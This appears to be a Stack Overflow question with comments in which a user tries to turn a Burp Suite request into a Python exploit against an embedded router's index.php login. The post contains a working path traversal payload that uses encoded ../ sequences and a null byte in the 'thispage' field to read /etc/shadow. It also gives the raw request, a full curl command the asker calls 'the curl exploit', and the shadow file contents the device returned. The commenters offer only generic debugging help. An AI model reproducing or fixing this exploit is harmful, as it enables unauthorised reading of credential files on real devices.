0

So I am trying to write a basic python exploit for a basic burp request but I can't figure it out.

My request is:

POST /index.php HTTP/1.1
Host: <ip>:<port>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://<ip>:<port>/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

USERDBDomains.Domainname=geardomain&USERDBUsers.UserName=&USERDBUsers.Password=&thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00index.htm&button.login.USERDBUsers.router_status=button.login.USERDBUsers.router_status%3dLogin&Login.userAgent=

And then I tried to do the following script but I don't get the same output as in Burp Suite.

import requests

choice = raw_input("Select your ip: ")
port = raw_input("Select your port: ")

payload = {'USERDBDomains.Domainname' : 'geardomain&USERDBUsers.UserName', 'USERDBUsers.Password' : '', 'thispage' : '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00index.htm', 'button.login.USERDBUsers.router_status' : 'button.login.USERDBUsers.router_status%3dLogin', 'Login.userAgent' : ''}
headers = {'POST' : '/index.php HTTP/1.1', 'Host' : '<ip>:<port>', 'Accept' : '*/*', 'Accept-Language' : 'en', 'User-Agent' : 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0', 'Connection' : 'close', 'Referer' : 'https://<ip>:<port>/index.php', 'Content-Type' : 'application/x-www-form-urlencoded', 'Content-Length' : '201'}

url = "https://{}:{}/index.php".format(<ip> , <port>)

r = requests.get(url, params=payload, headers=headers, verify=False)

print r.status_code

print r.headers

print r.content

The curl exploit is:

curl -i -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H $'Referer: https://<ip>:<port>/index.php' -H $'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'USERDBDomains.Domainname=geardomain&USERDBUsers.UserName=&USERDBUsers.Password=&thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00index.htm&button.login.USERDBUsers.router_status=button.login.USERDBUsers.router_status%3dLogin&Login.userAgent=' \
    $'https://<ip>:<port>/index.php'
Nitescu Lucian
  • 255
  • 4
  • 18
  • Maybe `'USERDBDomains.Domainname' : 'geardomain&USERDBUsers.UserName'` should be `'USERDBDomains.Domainname' : 'geardomain', 'USERDBUsers.UserName': ''` in `payload`? – Fejs Jan 16 '17 at 12:02
  • yes but still no @Fejs – Nitescu Lucian Jan 16 '17 at 12:05
  • Remove `'POST' : '/index.php HTTP/1.1'` and `'Content-Length' : '201'`, let the request generate these info itself, when you use a different username/pass, content length is gonna be different – Shane Jan 16 '17 at 12:09
  • ok @Shane but still no – Nitescu Lucian Jan 16 '17 at 12:11
  • Then you'll probably need to use tools such as `fiddler` to debug, set a proxy to `127.0.0.1:8888` in your python request, and compare it to the actual browser login request to find out the difference – Shane Jan 16 '17 at 12:14
  • The response in burp was: HTTP/1.0 200 OK Date: Mon, 16 Jan 2017 09:41:51 GMT Server: Embedded HTTP Server. Connection: close bin:*:10933:0:99999:7::: daemon:*:10933:0:99999:7::: adm:*:10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody:*:10933:0:99999:7::: default::10933:0:99999:7:: – Nitescu Lucian Jan 16 '17 at 12:18
  • @Shane any tutorial on that? – Nitescu Lucian Jan 16 '17 at 12:22
  • http://docs.telerik.com/fiddler/Observe-Traffic/Tasks/CaptureWebTraffic to capture the actual browser request; then set a proxy to `127.0.0.1:8888` in your python request, after running your codes that request would show up in `fiddler` as well, then compare those two requests – Shane Jan 16 '17 at 12:29
  • @Shane I added the curl exploit :) maybe it helps – Nitescu Lucian Jan 16 '17 at 12:42

0 Answers0